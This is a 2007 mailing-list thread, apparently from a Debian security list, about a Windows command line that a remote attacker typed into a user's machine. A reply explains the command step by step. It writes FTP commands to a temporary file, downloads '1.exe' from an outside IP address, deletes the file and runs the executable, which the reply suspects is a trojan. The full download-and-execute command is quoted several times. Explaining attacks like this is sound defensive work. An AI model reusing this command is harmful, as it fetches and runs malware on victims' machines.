Re: spooky windows script
> cmd /c echo open 22.214.171.124 22783 >> ik &echo user db database >> ik &echo get 1.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &1.exe &exit
to clarify what this command line does:
it writes the following text lines in a file called "ik":
open 126.96.36.199 22783
user db database
this are FTP commands, which are now being executed by the windows FTP
client. the parameters -n -v suppresses user autologin and verboseness
and the parameter -s:ik executes the content of the file "ik" as FTP
commands. the file ftp://db:firstname.lastname@example.org:22783/1.exe is being
fetched, the file "ik" is then being deleted and finally the file
"1.exe" is being executed. i suppose that 1.exe is some kind of windows
trojan or virus.
On 2007.05.08 15:39, Celejar wrote:
> On Tue, 8 May 2007 14:57:24 +0200 (CEST)
> Jan Outhuis <email@example.com> wrote:
> > Hello,
> > Recently I'm repeatedly being pestered by a strange event while surfing the net. My cursor is taken over and the following code is typed:
> > %systemroot%\system32\cmd.exe
> > cmd /c echo open 188.8.131.52 22783 >> ik &echo user db database >> ik &echo get 1.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &1.exe &exit
> > (I see on my network monitor that this is coming from outside; IP-number and user name vary.)
> > After that all is back to normal.
> > Now this is of course a nuisance, but is it also a thread? And what can be done against it?
> > Anybody got a clue on this?
> > Tia,
> > Jan Outhuis
> Are you running linux or windows? With what program are you surfing?
> Where is that text displayed? The cmd.exe line looks like someone
> trying to open the windows command shell; the next line looks like
> someone trying to capture some data from your system and ftp it
> outwards. I'm just guessing, but it does appear to be a threat.
> mailmin.sourceforge.net - remote access via secure (OpenPGP) email
> ssuds.sourceforge.net - A Simple Sudoku Solver and Generator
> To UNSUBSCRIBE, email to debian-security-REQUEST@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact firstname.lastname@example.org